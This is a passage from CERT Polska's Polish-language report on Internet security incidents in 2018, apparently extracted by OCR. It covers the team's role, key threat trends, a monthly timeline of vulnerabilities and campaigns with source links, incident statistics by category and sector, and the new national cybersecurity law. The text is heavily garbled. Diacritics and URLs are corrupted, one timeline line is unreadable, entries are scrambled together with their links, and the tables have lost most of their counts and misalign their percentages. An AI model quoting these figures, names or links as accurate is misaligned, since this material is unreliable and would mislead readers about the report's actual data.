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to phishing, dystrybucja
ztosliwego oprogramowania

i spam. Phishing to kategoria
najbardziej wyrézniajaca sie na
tle pozostatych atakow

przy czym odsetek tego typu
incydentow (ok. 44 proc.)
utrzymat sie na podobnym
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Szanowni Panstwo,

W 2018 roku doszio do istotnych zmian w za-
kresie prawa i regulacji w obszarze cyberbezpie-
czenstwa i ochrony danych osobowych. W maju
zaczeto obowigzywaé Rozporzedzenie o Ochro-
nie Danych Osobowych, porzgdkujgce temat
przetwarzania danych osobowych i wprowadza-
jace narzedzia do wymierzania odczuwalnych
kar finansowych w przypadku naruszen. Ustawa
o krajowym systemie cyberbezpieczenstwa, kto-
ra weszta w zycie w sierpniu, to z kolei pierw-
szy krajowy akt w randze ustawy wyznaczajgcy
konkretne role podmiotom odpowiedzialnym za
cyberbezpieczehnstwo kraju. Mocag tej ustawy,
NASK PIB powierzone zostaty m.in. zadania
zwigzane z rejestracjg i koordynacjg incydentow
dotyczacych operatoréw ustug kluczowych, do-
stawcéw ustug cyfrowych, a takze duzej czesci
sektora finanséw publicznych oraz oséb fizycz-
nych. Duza czes$¢ tych zadanh realizowana jest
przez zesp6t CERT Polska. Jednoczes$nie, misjg
zespotu niezmiennie pozostaje jak najlepsze po-
znanie, zrozumienie i zmierzenie zagrozen, na
ktére narazeni sg polscy uzytkownicy internetu,
oraz poszukiwanie skutecznych metod zapobie-
gania, wykrywania i znoszenia tych zagrozen.

nask CERT.PLO.

Dodatkowa rola wynikajgca z ustawy jest dla nas
nie tylko wyréznieniem, ale takze okazja, by mi-
sje te realizowaé jeszcze skuteczniej, wspdlnie
z innymi instytucjami krajowego systemu cyber-
bezpieczenstwa oraz z kazdym, komu lezy na
sercu wspoélne bezpieczenstwo w internecie.

Niniejszy raport przekrojowo obrazuje dziatal-
nos¢ CERT Polska w 2018 r. Jak zawsze, pre-
zentujemy dane liczbowe na temat zgtoszen od
uzytkownikow, ktore obstuzyli nasi operatorzy,
jak i te z systemow automatycznych, agregowa-
nych w platformie n6. W obu przypadkach wzbo-
gacamy je naszym komentarzem dotyczgcym
najwazniejszych trendéw i obserwacji. Opisuje-
my najciekawsze nowe zagrozenia i podatno$ci,
a takze projekty badawcze i wdrozeniowe, w kto-
rych bierzemy udziat.

Zapraszamy do lektury.

Zespot CERT Polska
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Zespot CERT Polska dziata w strukturach NASK
— Panstwowego Instytutu Badawczego prowa-
dzgcego dziatalnos¢ naukowa, krajowy rejestr
domen .pl i dostarczajgcego zaawansowane
ustugi teleinformatyczne. CERT Polska powstat
w 1996 roku i byt pierwszym w Polsce zespo-
tem reagowania na incydenty (z ang. Computer
Emergency Response Team).

Dzieki preznej dziatalnosci w Srodowisku ze-
spotéw reagujgcych, stat sie rozpoznawalnym
i doswiadczonym podmiotem w dziedzinie bez-
pieczehstwa komputerowego.

Od poczatku istnienia zespotu rdzeniem jego
dziatalnosci jest obstuga incydentéw bezpie-
czenstwa i wspotpraca z podobnymi jednostkami
na catym $wiecie, zaréwno w dziatalnosci opera-
cyjnej, jak i badawczo-wdrozeniowej.

Od 1998 roku CERT Polska jest cztonkiem mie-
dzynarodowego forum zrzeszajgcego zespoty
reagujgce — FIRST, a od roku 2000 nalezy do
grupy roboczej europejskich zespotéw reaguja-
cych — TERENA TF-CSIRT i dziatajgcej przy niej
organizacji Trusted Introducer.

W 2005 roku z inicjatywy CERT Polska po-
wstato forum polskich zespotéw abuse — Abuse
FORUM, natomiast w 2010 roku CERT Polska
dofgczyt do Anti-Phishing Working Group, sto-
warzyszenia gromadzgcego firmy i instytucje ak-
tywnie walczace z przestepczoscig w sieci.

Do gtéwnych zadan zespotu CERT Polska na-

lezy:

* rejestrowanie i obstuga zdarzen naruszajgcych
bezpieczenstwo sieci;

* wykrywanie i analiza zagrozen wymierzonych
w szczegdblnosci w polskich internautéw lub za-
grazajacych domenie .pl;

» aktywne reagowanie w przypadku wystgpienia

bezposrednich zagrozen dla polskich internau-

tow;

wspotpraca z innymi zespotami CERT w Polsce

i na swiecie oraz organami $cigania;

udziat w krajowych i miedzynarodowych projek-

tach zwigzanych z tematykg bezpieczenstwa

teleinformatycznego;

dziatalno$¢ badawcza z zakresu metod wykry-

wania incydentéw bezpieczenstwa, analizy zto-

Sliwego oprogramowania i systeméw wymiany

informacji o zagrozeniach;

rozwijanie wiasnych narzedzi do wykrywania,

monitorowania, analizy i korelacji zagrozen;

regularne publikowanie Raportu CERT Polska

0 bezpieczenstwie polskich zasobow internetu;

niezalezne analizy i testy rozwigzan z dziedziny

bezpieczenstwa teleinformatycznego;

dziatania informacyjno-edukacyjne, zmierzajg-

ce do wzrostu swiadomosci w zakresie bezpie-

czenstwa teleinformatycznego, w tym:

»» publikowanie informacji o bezpieczen-
stwie na blogu cert.pl oraz w wybranych
serwisach spotecznosciowych;

»» organizacja cyklicznej konferencji
SECURE;

»» szkolenia specjalistyczne.

nask CERT.PLO.



Najwazniejsze ohserwacje z 2018 roku

Utrzymuje sie tendencja wzrostowa w liczbie
zgtoszen incydentow. W poréwnaniu do 2017
roku liczba zarejestrowanych incydentéow byta
wieksza o 17,5 proc. i wyniosta 3 739. Trzy
czwarte z nich dotyczylo oséb fizycznych lub
podmiotéw prywatnych.

Trzy najczesciej wystepujgce typy incydentow
to phishing, dystrybucja ztosliwego oprogramo-
wania i spam. Phishing to kategoria najbardziej
wyrdzniajgca sie na tle pozostatych atakéw przy
czym odsetek tego typu incydentow (ok. 44
proc.) utrzymat sie na podobnym poziomie jak
w roku 2017.

W 2018 roku zaszly istotne zmiany w systemie
prawnym dotyczgce cyberbezpieczenhstwa — we-
szly w zycie: ustawa o krajowym systemie cy-
berbezpieczenstwa oraz ogélne rozporzadzenie
o ochronie danych osobowych (RODO).

Odnotowalismy prawie trzykrotny wzrost incy-
dentéw zwigzanych z fatszywymi sklepami in-
ternetowymi. Pokazny wzrost zgtaszanych nam
tego typu spraw ma zwigzek nie tylko z nasile-
niem sie zjawiska, ale takze z rosnacag swiado-
moscig wsréd obywateli.

Scenariusze dotyczgce podszywania sie pod
posrednikow pfatnosci, staty sie w 2018 roku
najpopularniejszym atakiem na uzytkownikéw
bankowosci elektronicznej, powodujgc znaczne
straty finansowe. W 2018 roku scenariusz zaczat
by¢ wykorzystywany w klasycznych fatszywych
sklepach, szczegdlnie w koncowej ,fazie zycia”
takiego sklepu.

Rosénie liczba ztosliwych aplikacji dla urzgdzen
mobilnych, przede wszystkim z systemem An-
droid. Wiele z nich, miedzy innymi podszywa-
jacych sie pod legalne aplikacje finansowe, do-
stepnych byto do pobrania w oficjalnym sklepie.

Jednym z popularniejszych rodzajéw mobilnego
ztosliwego oprogramowania jest Anubis, ataku-

NASK

jacy m.in. klientow kilkunastu polskich bankdw.
Poza funkcjonalnoscig typowg dla trojanéw ban-
kowych, Anubisa wyposazono w moduly RAT
i ransomware.

Obserwujemy ewolucje botnetéw wykorzystuja-
cych urzadzenia loT. Powstato m.in. wiele wer-
sji malware’u opartego o pierwotny kod botnetu
Mirai, wykazujgcych sie specjalizacjg pod katem
konkretnych urzadzen, odkrytych podatnosci
oraz przeznaczenia (np. ataki DDoS, cryptomi-
ning, kradziez danych).

Nowym groznym zjawiskiem jest powstanie VP-
NFilter - botnetu dziatajgcego na wielu modelach
routerow domowych, opartego o zaawansowa-
ne, wielomodutowe ztosliwe oprogramowanie.

W dalszym ciggu daje sie zauwazy¢ incydenty
zwigzane z udostepnieniem w publicznej sie-
ci urzgdzen takich jak drukarki sieciowe. Stabe
uwierzytelnianie lub jego brak stanowig atrakcyj-
ny cel dla atakujgcych.

W 2018 coraz czesciej obserwowali§my ataki
grup APT pochodzacych z Azji. Do gry wrdcity
Luspione” formacje zaawansowanych zagro-
zen np. APT27 \LuckyMouse lub WhiteWhale.
W czotéwcee pod wzgledem aktywno$ci, kolejny
rok z rzedu, przewazajg grupy rosyjskie: APT28,
APT29, Turla, GreyEnergy. Standardem stato
sie, ze ataki grup APT wykorzystujg nieznane
wczesniej podatnosci tzw. 0-day’e.

Podatnosci i zagrozenia dotyczg komponentow
coraz nizszego poziomu, takze sprzetowego.
Opisano m.in. ataki zwigzane z naduzyciem
optymalizacji procesora (Meltdown, Spectre)
oraz rootkit dziatajgcy jako modut UEFI (LoJax).

Blisko 2 miliony unikalnych adreséw IP z polskich
sieci rozgtaszato ustugi, ktére mogg by¢ wyko-
rzystane w atakach DRDoS. Najwiecej z nich to
Zle skonfigurowane otwarte serwery DNS.
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ik styczen 2018 wiecej informaciji...
* https:/lwww.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/
* https:/igoogleprojectzero.blogspot.com/2018/01/reading-privileged-memory
-with-side.html
* https:/ispectreattack.com/spectre.pdf
* https://meltdownattack.com/meltdown.pdf
02 Bug w procesorach Intela « http://ipythonsweetness.tumblr.com/post/169166980422/the-mysterious-case
-of-the-linux-page-table
* http://pythonsweetness.tumblr.com/post/169217189597/quiet-in-the-peanut-
gallery
« https://zaufanatrzeciastrona.pl/post/znamy-juz-szczegoly-krytycznych-bledo-
w-w-wielu-procesorach/
09 Kolejne RCE w Equation Editor w Office 2016 + https:/iresearch.checkpoint.com/another-office-equation-rce-vulnerability/
* https:/ibusiness.f-secure.com/intel-amt-security-issue
12 Luka w Intel ME (AMT) + https://izaufanatrzeciastrona.pl/post/amt-czyli-kto-moze-znienacka-zaczac-za-
rzadzac-twoim-laptopem/
18 ‘:‘V:;kYOSC.F(E%TI\\I:e(VZVir::;Z’y:ilOV;’Il'tl-la|nej i dostep + https:/itwitter.com/_niklash/status/953604276726718465
* https://Ibugs.chromium.org/p/project-zerolissues/detail ?id=1471&desc=2
22 Blizzard — DNS Rebinding w wigkszosci tytutow + https://zaufanatrzeciastrona.pl/post/wyjasniamy-dns-rebinding-czyli-jak-mo-
zna-bylo-zhakowac-setki-milionow-komputerow/
2 Zatrzymanie przez CBA tworcow mobilnego AV, + https:/iniebezpiecznik.pliposticha-zatrzymalo-tworcow-polskiego-antywirusa
LabMSF -ktory-w-ogole-nie-dzialal/
29 Cisco ASA pre. auth RCE. CVSS 10.0 « https:/itools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-
, .

sa-20180129-asa1

2 AT oo nformac

https:/lwww.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequen-
ce=26998

01 Bug w procesorach Intela * https://helpx.adobe.com/security/products/flash-player/apsa18-01.html
« https:/itwitter.com/issuemakerslab/status/959006385550778369
* https:/lzaufanatrzeciastrona.pl/post/znamy-szczegoly-ataku-na-igrzyska-olim-
09 Cyberatak na ceremonie otwarcia zimowych pijskie-i-sa-calkiem-ciekawe/
igrzysk olimpijskich w Pjongczangu * http://blog.talosintelligence.com/2018/02/olympic-destroyer.html
* https:/iwww.recordedfuture.com/olympic-destroyer-malware/
13 Btad w Telegramie umozliwiajacy instalacje ztosli- « https:/izaufanatrzeciastrona.plipost/powazny-blad-w-telegramie-pomagal-w
wego oprogramowania -instalacji-kryptominerow/
20 Btedy w kliencie uTorre + https://bugs.chromium.org/p/project-zerofissues/detail2id=1524
. . . * https:/lzaufanatrzeciastrona.pl/post/wazne-i-poufne-dokumenty-wielu-pol-
26  Sporo polskich dokumentéw w VirusTotal Ko pip P ty-wielu-p
. - . * https:/lzaufanatrzeciastrona.pl/post/gigantyczny-atak-ddos-na-githuba-13-te-
28 DDoS na GH o wielkosci 1,3 terabita na sekundg rabita-na-sekunde/
1E3"  marzec 2018 wiecej informaciji...
* hhttps://zaufanatrzeciastrona.pl/post/thomas-najbardziej-uciazliwy-polski-cy-
berprzestepca-zatrzymany-przez-policje/
. « https://zaufanatrzeciastrona.pl/post/181-zarzutow-kilka-tysiecy-ofiar-znamy
15 Aresztowanie Thomasa -szczegoly-zatrzymania-thomasa/
* https:/iniebezpiecznik.pl/post/armagedOn-czyli-tomasz-t-od-6-lat-regularnie-a-
takujacy-polakow-wreszcie-zostal-aresztowany/
28 RCE w Drupalu + https://www.drupal.org/sa-core-2018-002
* https:/lembedi.com/blog/cisco-smart-install-remote-code-execution/
29 RCE w Cisco 108 + https://zaufanatrzeciastrona.pl/post/uwaga-na-bledy-w-switchach-cisco-uzy-

wane-wlasnie-w-atakach-na-iran-i-rosje/

nask CERT.PLO.
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kwiecie

wiecej informaciji...

.

https://twitter.com/x0Orz/status/988742792976400384

23 Mikrotik WinBox 0 day « https:/isekurak.pl/krytyczna-podatnosc-w-mikrotikach-latajcie-asap/
. . . * https:/izaufanatrzeciastrona.pl/post/uwaga-allegrowicze-nowa-kampania-
25 Kampania podszywajaca sig pod Allegro phishingowa-zablokowana-sprzedaz/
05 EuET{kE] wiecej informaciji...
14 Podatnosci w implementacjach OpenPGP oraz S/  « https:/iwww.cert.plnews/single/podatnosci-w-implementacjach-openpgp-o-
MIME: , EFAIL” raz-s-mime-efail/
. . « https:/lzaufanatrzeciastrona.pl/post/klienci-pko-bp-bz-wbk-mbanku-ing-i-pe-
22 Kampanla Ba‘:kswap (Tmba) kao-na-celowniku-nowego-malware/
. « https://blog.talosintelligence.com/2018/05/VPNFilter.html
23 VPN Filter * https:/iblog.talosintelligence.com/2018/06/vpnfilter-update.html
* https:/lwww.proofpoint.com/us/threat-insight/post/danabot-new-banking-tro-
31 DanaBot jan-surfaces-down-under-0
(I[i3  czerwiec 2018 wiecej informaciji...
" . * https://sekurak.pl/awaria-systemu-visa-w-europie-sklepy-nie-przyjmuja-plat-
01 Awaria systemu VISA w Europie nosci-kartamil
12 Awaria serwiséow w gov.pl + https:/isekurak.pliobywatel-gov-pl-profil-zaufany-cepik-epuap-down/
. * https:/isekurak.pl/wysylanie-szyfrowanych-maili-gpg-mozna-falszowac-podpi-
15 SIQSPOOf sy-sigspoof-cve-2018-12020/
28 Kompromitacja mirrora git Gentoo + https:/isekurak.pl/gentoo-github-mirror-zhackowany/
g lipiec 2018 wiecej informaciji...
10 Spectre za 100k USD « https:/ipeople.csail.mit.edulvikispectre11.pdf
128 wrzesien 2018 wiecej informaciji...
* https:/lzaufanatrzeciastrona.pl/post/aktualizujcie-tor-browsera-w-starszych
10 0-day na Tor Browser -wersjach-jest-powazny-trywialny-blad/
* https:/lzaufanatrzeciastrona.pl/post/wyrafinowany-backdoor-uefi-obecny
27 Backdoor UEFI w Polsce -takze-w-polskich-sieciach/
28 Podatnosé Facebooka * https:/lzaufanatrzeciastrona.pl/post/50-milionow-kont-uzytkownikow-facebo-

oka-zagrozonych-atakiem/

10

pazdziernik 2018

wiecej informaciji...

https:/izaufanatrzeciastrona.pl/post/odkryto-chinskie-backdoory-sprzetowe-a-

04 Chinskie backdoory sprzetowe le-nic-niejestakie-oczywiste/

16 Kampania S Bidronke e
26 Kampania podszywajaca sie pod PLAY * https:/iniebezpiecznik.pl/post/playfinanse-sms-scam-na-doplate

30 Kamp ania po dszywajqca SiQ po d Profil Zaufany . ::ta;:ls;lllniebezpiecznik.pllpostluwaga-na-zlosliwe-e-maiIe-z-tematem-profil-za-
30 Phishing ,Weryfikacja konta Allegro” + https://niebezpiecznik.pl/post/p-weryfikacja-konta-allegro-payu/

11 listopad 2018

wiecej informaciji...

25

Kampania SMS ,,OPERATOR”

https:/Iniebezpiecznik.pl/post/uwaga-na-sms-y-od-nadawcy-operator/

12

grudzien 2018

wiecej informaciji...

.

01 Phising ING

https:/izaufanatrzeciastrona.pl/post/uwaga-klienci-ing-po-awarii-banku-dzisiaj
-atak-na-wasze-konta/

-

05 0-day na Flasha od HT

https://github.com/smgorelik/Windows-RCE-exploits/blob/master/Documents/
Office%2BFlash/CVE-2018-15982_%23PoC%23.zip
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Ochrona cyherprzestrzeni RP i dzialania CERT Polska

Obstuga incydentow i reagowanie na zagrozenia

Dane zawarte w niniejszej czesci raportu do-
tycza wytagcznie zgtoszen i incydentéw zareje-
strowanych i obstuzonych przez CERT Polska.
Wszystkie zgtoszenia pochodzg z formula-
rza znajdujgcego sie na stronie www.cert.pl
albo zostaly przestane na adres zgtoszeniowy
cert@cert.pl lub zaobserwowane przez zespot
CERT Polska. Nie obejmujg one informacji o in-
cydentach gromadzonych i wymienianych auto-
matycznie w systemie n6.

W 2018 r. CERT Polska zanotowat 19 439 zgto-
szen, ktére zostaty przeanalizowane i pogru-
powane. 5 675 zostato zaklasyfikowane jako
dotyczagce rzeczywistych incydentéw. Na ich
podstawie zarejestrowaliSmy fgcznie 3 739 in-
cydentow. Tabela 1. zawiera liczbe obstuzonych
incydentéw z podziatem na kategorie wg klasyfi-
kacji eCSIRT.net.

CERT Polska odnotowat wzrost liczby obstuzo-
nych incydentéow na poziomie 17,5 proc. w po-
réwnaniu do 2017 r. W zeszlym roku najczesciej
wystepujagcym typem ataku byt phishing, ktory
stanowit ok. 44 proc. wszystkich incydentow.
Zgtoszenia dotyczgce dystrybucji ztosliwego
oprogramowania znalazty sie na drugim miejscu,
stanowigc ok. 23 proc. Incydenty o charakterze
spamu stanowity odsetek ok. 11,2 proc. wszyst-
kich zarejestrowanych incydentow.

W 2018 r. znaczagcg popularnos¢ wsrod prze-
stepcow zyskaly fatszywe sklepy internetowe.
W odniesieniu do 2017 r. odnotowali$my prawie
3-krotny wzrost incydentéw tego typu. Pokazny
wzrost zarejestrowanych incydentéw dotycza-
cych fatszywych sklepéw internetowych ma duzy
zwigzek z rosngcg swiadomoscig wsréd obywa-
teli o tego typu oszustwach w internecie. Prze-
stepcy chcac trafi¢ do wiekszej liczby odbiorcow,
postuguja sie pozycjonowaniem reklam w popu-
larnych wyszukiwarkach internetowych oraz me-
diach spoteczno$ciowych.
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Odsetek phishingéw wzrést o blisko 3 punkty
procentowe w poréwnaniu do 2017 r. i pozo-
stat na bardzo wysokim poziomie wynoszacym
1655 zarejestrowanych unikalnych incydentow.
Najczesciej zgtaszanymi incydentami phishin-
gowymi byly fatlszywe strony zagranicznych
serwisow, takich jak Netflix lub PayPal, zamiesz-
czone na polskich serwerach, rzadziej phishing
polskich instytucji, znajdujacy sie na serwerach
zagranicznych. Najbardziej powszechnym mo-
tywem przestepcéw przy tworzeniu fatszywych
stron byla che¢ pozyskania danych uwierzytel-
niajgcych (login i hasto) do réznych serwisow,
w tym bankow.

Zgtoszen dotyczgcych ztodliwego oprogramo-
wania bytlo mniej niemal o 4 punkty procentowe
w poréwnaniu do 2017 r. Znaczgca wiekszos¢
odnotowanych incydentéw dotyczyta ztosliwego
oprogramowania atakujgcego polskiego uzyt-
kownika. W przypadku duzych kampanii mailo-
wych otrzymywaliSmy wiele zgtoszeh zwigza-
nych z tym samym ztosliwym oprogramowaniem.
Czesto obserwowanym atakiem byta wiadomos¢
e-mail z rzekomg faktura, powiadomieniem badz
dokumentem, rozsytana w imieniu znanej firmy,
zawierajgca pliki ze skryptem, dokumentem lub
adresem internetowym odsyfajgcym do pobrania
ztodliwego oprogramowania. Chetnie wykorzy-
stywane przez przestepcéw byty ré6zne warian-
ty oprogramowania typu ransomware oraz tzw.
bankery, czyli ztosliwe oprogramowanie ukierun-
kowane na klientéw bankowosci elektronicznej
i mobilnej. Tak jak w latach poprzednich, kla-
syfikacja zgtoszonych incydentéw dotyczgcych
ztosliwego oprogramowania jest skomplikowana
i w niektérych przypadkach moze nie odzwier-
ciedla¢ faktycznego typu zagrozenia. Powodem
jest ztozonos¢ atakéw, w ktérych na poszczegdl-
nych etapach wykorzystywane sg rézne meto-
dy i typy ztosliwego oprogramowania, np. przy
pomocy exploit kita czy konia trojanskiego do-
chodzi do zainstalowania klienta botnetu, ktéry



z kolei moze posiada¢ wiele funkcji np. oprogra-
mowania szpiegujgcego, trojana bankowego czy
ransomware.

Kolejnym typem zarejestrowanych incydentow
sg zgtoszenia o charakterze spamu, ktére w po-
réwnaniu z 2017 rokiem podwoity swojg liczbe.
Niewielki udziat innych rodzajéow nielegalnych
i obrazliwych tresci wynika z faktu, Zze ich obstu-
g3g zajmuje sie dedykowany do tego celu zespot
Dyzurnet.pl (www.dyzurnet.pl), ktory rowniez
dziata w strukturach NASK.
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Pozostate kategorie zgtoszen sg rownie wazne
i ciekawe z punktu widzenia CERT Polska. Za-
notowali§my wiele incydentéw z probami wia-
man do systemoéw, urzadzen i aplikacji — zakon-
czonych sukcesem badz tylko podjetych. Czes¢
z tych atakéw zostata przeprowadzona tylko
i wylgcznie poprzez stabo zabezpieczone tzw.
urzadzenia internetu rzeczy (ang. loT — Internet
of Things), ktére czesto posiadajg niezmieniong,
standardowg konfiguracje producenta z domys$I-
nym hastem dostepowym.

Typ incydentu Liczba incydentow %

Obrazliwe i nielegalne tresci 431 11,53
Spam 419 11,21
Dyskredytacja, obrazanie 5 0,13
Pornografia dziecieca, przemoc 0,00
Niesklasyfikowane 0,19
Ztosliwe oprogramowanie 23,05
Wirus 0,11

Robak sieciowy 0,00
Kon trojanski 3,13
Oprogramowanie szpiegowskie 0,00
Dialer 0,03
Rootkit 0,03
Niesklasyfikowane 19,76
Gromadzenie informaciji 2,70
Skanowanie 2,14
Podstuch 0,03
Inzynieria spoteczna 0,19
Niesklasyfikowane 0,35
Préby wiaman 4,09
Wykorzystanie znanych luk systemowych 0,80
Préby nieuprawnionego logowania 0,99

nasik CERT.PLO_
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-

Wykorzystanie nieznanych luk systemowych

Niesklasyfikowane

Wilamania

Wtamanie na konto uprzywilejowane

Wtamanie na konto zwykite

Wtamanie do aplikacji

Bot

Niesklasyfikowane

Dostepnos¢ zasobéw

Atak blokujgcy serwis (DoS)

Rozproszony atak blokujgcy serwis (DDoS)

Sabotaz komputerowy

Przerwa w dziataniu ustug (nieztosliwe)

Niesklasyfikowane

Atak na bezpieczenstwo informacji

Nieuprawniony dostep do informacji

Nieuprawniona zmiana informacji

Niesklasyfikowane

Oszustwa komputerowe

Nieuprawnione wykorzystanie zasobow

Naruszenie praw autorskich

Kradziez tozsamosci, podszycie sie

Phishing

Niesklasyfikowane

Podatne ustugi

Otwarte serwisy podatne na naduzycia

Niesklasyfikowane

Inne

Tabela 1. Incydenty obstuzone przez CERT Polska w 2018 r. wedtug typow.

0,00
2,30
3,34
0,29
0,56
0,94
0,11
1,44
1,31
0,19
0,94
0,00
0,03
0,16
1,23
0,56
0,35
0,32

50,23
0,03
0,21
1,15

44,26
4,57
1,85
0,37
1,47
0,67

nasik CERT.PLOZ
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Sektor gospodarki Liczba incydentow %
Infrastruktura cyfrowa AS) 0,78
Stuzba zdrowia 13 0,35
Bankowos¢ 17,20
Finanse 1,66
Energetyka 0,53
Transport 1,36
Sektor publiczny 2,27
Wodociagi 0,05
Inne 75,80
Razem 100,00

Tabela 2. Incydenty obstuzone przez CERT Polska w 2018 r. wg klasyfikacji ze wzgledu na sektor gospodarki.

Rok Liczba incydentéw

1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
201
2012
2013
2014
2015
2016
2017
2018

50
75

Tabela 3. Liczba incydentow
obstuzonych recznie przez
CERT Polska na przestrzeni lat.

nasic CERT.PLO ‘



Zmiany w sposobie zgtaszania incydentow w zwigzku z wejSciem w zycie
ustawy o krajowym systemie cyberbezpieczenstwa

28 sierpnia 2018 r. weszta w zycie ustawa o kra-
jowym systemie cyberbezpieczenstwa (por.
str. 16). Jej skutkiem byto desygnowanie trzech
CSIRT-6w' poziomu krajowego, prowadzonych
przez NASK PIB, szefa Agencji Bezpieczenstwa
Wewnetrznego oraz Ministra Obrony Narodowe;.
Jedng z najwiekszych zmian jest wprowadzenie
obowigzku zgtaszania niektorych incydentow
komputerowych.

Za co sg odpowiedzialne poszczeg6ine CSIRT-y?

CSIRT MON koordynuje obstuge incydentow
z podmiotéw podlegtych Ministrowi Obrony Na-
rodowej, a takze przedsiebiorstw o szczegélnym
znaczeniu gospodarczo-obronnym?, wykonu-
jacych zadania na rzecz obronnosci panstwa.
Wiasciwoscig CSIRT MON sg réwniez wszystkie
incydenty zwigzane z obronnoscig kraju.

Administracja rzadowa, Narodowy Bank Polski,
Bank Gospodarstwa Krajowego oraz operatorzy
infrastruktury krytycznej to podmioty, ktére po-
winny zgtaszac swoje incydenty do CSIRT GOV,
dziatajgcego w ramach Agencji Bezpieczen-
stwa Wewnetrznego. Zaréwno CSIRT MON jak
i CSIRT GOV sg wiasciwe w przypadku incyden-
téw o charakterze terrorystycznym.

Koordynacjg incydentéw dotyczgcych wszyst-
kich pozostatych podmiotow takich jak wiek-
sz0$¢ operatoréw ustug kluczowych, dostawcy
ustug cyfrowych czy administracja samorzado-
wa, zajmuje sie CSIRT NASK. Do CSIRT NASK
incydenty mogg takze zgtasza¢ osoby fizyczne
— zwykli obywatele. Mozna wiec powiedziec¢, ze
CSIRT NASK stanowi tzw. ,CERT ostatniej szan-
sy” (CERT of last resort).

Podziat podmiotéw na kategorie

Zgodnie z ustawg, podmioty dzielimy na:

* infrastrukture krytyczng - systemy oraz
wchodzgce w ich sktad powigzane ze sobg
funkcjonalnie obiekty, w tym obiekty budow-
lane, urzadzenia, instalacje, ustugi kluczowe
dla bezpieczenstwa panstwa i jego obywateli

oraz stuzgce zapewnieniu sprawnego funk-
cjonowania organdéw administracji publicz-
nej, a takze instytucji i przedsigbiorcow?,

e operatoréw ustug kluczowych - podmioty
Swiadczgce ustuge, ktéra ma kluczowe zna-
czenie dla utrzymania krytycznej dziatalno-
Sci spotecznej lub gospodarczej, wymienio-
nej w wykazie ustug kluczowych,

* dostawcéw ustug cyfrowych - podmioty,
ktére posiadajg siedzibe lub przedstawicie-
la na terenie Rzeczypospolitej Polskiej oraz
Swiadczg ustuge cyfrowg, tzn. prowadzg
wyszukiwarke internetowa, publiczng chmu-
re lub platforme umozliwiajgcg zawieranie
transakcji (np. portale aukcyjne, sklepy inter-
netowe)?,

e podmioty publiczne - m. in. jednostki sek-
tora finanséw publicznych, spétki prawa han-
dlowego wykonujgce zadania o charakterze
uzyteczno$ci publicznej i podobne.

Ponadto podmiot publiczny, swiadczacy ustuge
kluczowa, jest traktowany zgodnie z przepisami
przewidzianymi dla operatoréw ustug kluczo-
wych.

Rodzaje incydentow ustawowych

Firmy, przedsiebiorstwa i instytucje objete kra-
jowym systemem cyberbezpieczenstwa nie sg
zobowigzane do zgtaszania wszystkich incyden-
tow. Ustawa definiuje trzy rodzaje incydentow,
ktére muszg zosta¢ zgtoszone odpowiedniemu
CSIRT-owi:

* incydent powazny - incydent, ktéry powodu-
je lub moze spowodowaé znaczne obnizenie
jakosci lub przerwanie ciggtosci $wiadczenia
ustugi kluczowej; progi uznania incydentu za
powazny okre$la Rozporzadzenie Rady Mi-
nistrow z 31 pazdziernika 2018 roku w spra-
wie progow uznania incydentu za powazny

* incydent istotny - incydent majacy istot-
ny wptyw na swiadczenie ustugi cyfrowej,
zgodnie z kryteriami rozporzgdzenia wyko-
nawczego Komisji Europejskiej nr 2018/ 151
z 30 stycznia 2018 roku,

' Zespotéw Reagowania na Incydenty Bezpieczenstwa Komputerowego

2 zgodnie z Art. 26 ust. 5 pkt. 2 ustawy z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczenstwa (Dz.U. 2018 poz. 1560)
3 definicja zawarta jest w Art. 2 ustawy z dnia 26 kwietnia 2007 r. o zarzgdzaniu kryzysowym (Dz.U. 2007 Nr 89 poz. 590)
4 definicja zawarta jest w Art. 17. ust. 1 ustawy z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczenstwa (Dz.U. 2018 poz. 1560)
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* incydent w podmiocie publicznym - incy-
dent, ktéry powoduje lub moze spowodowac
obnizenie jakosci lub przerwanie realizacji
zadania publicznego.

Dodatkowo, okreslone zdarzenie moze zostac
zakwalifikowane jako incydent krytyczny, czy-
li taki, ktory m.in. skutkuje znaczng szkodg dla
bezpieczenstwa panstwa lub porzadku publicz-
nego. Takie oznaczenie moze zosta¢ nadane
tylko przez CSIRT poziomu krajowego w toku
koordynacji incydentu.

Rysunek 1. Widok portalu incydent.cert.pl.

Portal incydent.cert.pl

Wraz z wejsciem w zycie ustawy o KSC, CSIRT
NASK udostepnit nowy portal incydent.cert.pl,
ktory umozliwia zgtaszanie incydentow zgod-
nie z ustawa, jednoczesnie wyjasniajgc kwestie
zwigzane z KSC w mozliwie przystepny sposéb.

Portal nie zastepuje mozliwosci zgtasza-
nia incydentéw drogg e-mailowg (na adres
cert@cert.pl), jednak rekomendujemy stosowa-
nie go zwlaszcza wtedy, gdy zgtoszenie incyden-
tu ma wypetni¢ obowigzek ustawowy.

Przyciski “Operator ustug kluczowych”, “Dostawca ustugi cyfrowej” oraz “Podmiot publiczny” prowa-
dzg do specjalnie przygotowanych formularzy, ktére umozliwiajg zgtoszenie odpowiednio: incydentu
powaznego, incydentu istotnego oraz incydentu w podmiocie publicznym.

Role starego formularza prowadzonego na stronie CERT Polska w nowym systemie przejeta za-
ktadka “Osoba fizyczna / inne podmioty”. Istotha zmiana polega na tym, Zze uzytkownik nie jest juz
proszony o wybranie klasyfikacji incydentu zgodnie ze skomplikowang, wewnetrzng listg katego-
rii. Zamiast tego mozliwe jest wybranie jednego z pieciu najpopularniejszych rodzajéw incydentéow
albo zaznaczenie “Inne”. Adekwatnie do wybranej opcji, prezentowany formularz zawiera dodatkowe

wskazowki dla zgtaszajgcego.
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Rysunek 2. Wyb6r kategorii incydentu stosowanych w przypadku dobrowolnych zgtoszen od osob fizycznych i podmiotow

nieobjetych ustawg o KSC.
Istotne zmiany w prawie

W 2018 r. zaczeto obowigzywal kilka aktéw
prawnych, ktére wielu podmiotom wyznaczyly
nowe obowigzki lub uregulowaty dziatania zwig-
zane z cyberbezpieczenstwem. Istotnie wptywa-
ja one takze na sposéb i zakres dziatania CERT
Polska. Dlatego ponizej przedstawiamy najwaz-
niejsze z nich, wraz ze wskazaniem konsekwen-
cji wprowadzonych regulaciji.

Wiecej informacji, w tym biezgce analizy euro-
pejskich i krajowych zmian w legislacji, i inicja-
